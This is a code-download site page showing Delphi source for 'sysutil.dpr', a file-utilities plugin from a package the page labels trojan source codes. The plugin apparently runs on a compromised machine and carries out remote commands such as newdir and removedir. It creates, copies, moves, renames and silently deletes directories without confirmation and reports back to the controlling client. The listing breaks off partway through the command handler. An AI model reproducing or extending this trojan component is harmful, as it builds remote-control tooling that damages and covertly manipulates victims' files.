⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sysutil.dpr

📁 New tj source www.opensc.ws - trojan source codes.
💻 DPR
字号:
{***********************************
 *          Plugin Sample          *
 *       File Utilities v1.0       *
 *         by satan_addict         *
 ***********************************}
library server_plugin;

uses
  Windows,
  sysutils,
  classes,
  shellapi;

type
    pluginreply = procedure (Text: pchar);

var
  clientdllname:pchar;
  OwnerAPP:integer;
lololsdddddddddddddddddddddddddddddd:string;

procedure Init(Owner: Integer); far
begin
	OwnerAPP := Owner;
end;



function CopyDir(const fromDir, toDir: string): Boolean;
var
  fos: TSHFileOpStruct;
begin 
  ZeroMemory(@fos, SizeOf(fos));
  with fos do 
  begin
    wFunc  := FO_COPY;
    fFlags := FOF_FILESONLY;
    pFrom  := PChar(fromDir + #0);
    pTo    := PChar(toDir)
  end;
  Result := (0 = ShFileOperation(fos));
end;


function MoveDir(const fromDir, toDir: string): Boolean;
var
  fos: TSHFileOpStruct;
begin
  ZeroMemory(@fos, SizeOf(fos));
  with fos do 
  begin
    wFunc  := FO_MOVE;
    fFlags := FOF_FILESONLY;
    pFrom  := PChar(fromDir + #0); 
    pTo    := PChar(toDir)
  end;
  Result := (0 = ShFileOperation(fos));
end;

function DelDir(dir: string): Boolean;
var
  fos: TSHFileOpStruct;
begin
  ZeroMemory(@fos, SizeOf(fos));
  with fos do
  begin
    wFunc  := FO_DELETE;
    fFlags := FOF_SILENT or FOF_NOCONFIRMATION;
    pFrom  := PChar(dir + #0);
  end;
  Result := (0 = ShFileOperation(fos));
end;

procedure RenameDir(DirFrom, DirTo: string); 
var 
  shellinfo: TSHFileOpStruct; 
begin 
  with shellinfo do 
  begin 
    Wnd    := 0; 
    wFunc  := FO_RENAME; 
    pFrom  := PChar(DirFrom); 
    pTo    := PChar(DirTo); 
    fFlags := FOF_FILESONLY or FOF_ALLOWUNDO or 
              FOF_SILENT or FOF_NOCONFIRMATION; 
  end; 
  SHFileOperation(shellinfo); 
end;

procedure process(RString: string);
var dir1,dir2,file1,file2:string;
begin
      //here you put the client plugin name:
      clientdllname:='util.dll';

      if (pos('newdir',RString)>0) then   //newdir#dirpath
      begin
      Delete(RString,1,6);
      dir1:=copy(RString,Pos('#',RString),length(RString));
      Delete(dir1,pos('#',dir1),pos('#',dir1));
      if CreateDir(dir1) then
      //send message to the client plugin
      pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+'Dir Created! '+ dir1))
      else
      pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+'Error!'));
      end;

      if (pos('removedir',RString)>0) then   //removedir#dirpath
      begin
      Delete(RString,1,9);
      dir1:=copy(RString,Pos('#',RString),length(RString));
      Delete(dir1,pos('#',dir1),pos('#',dir1));
      if deldir(dir1) then
      //send message to the client plugin
      pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+'Dir Removed! '+ dir1))
      else
      pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+'Error!'));
      end;

      if (pos('copydir',RString)>0) then   //copydir#dir1

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -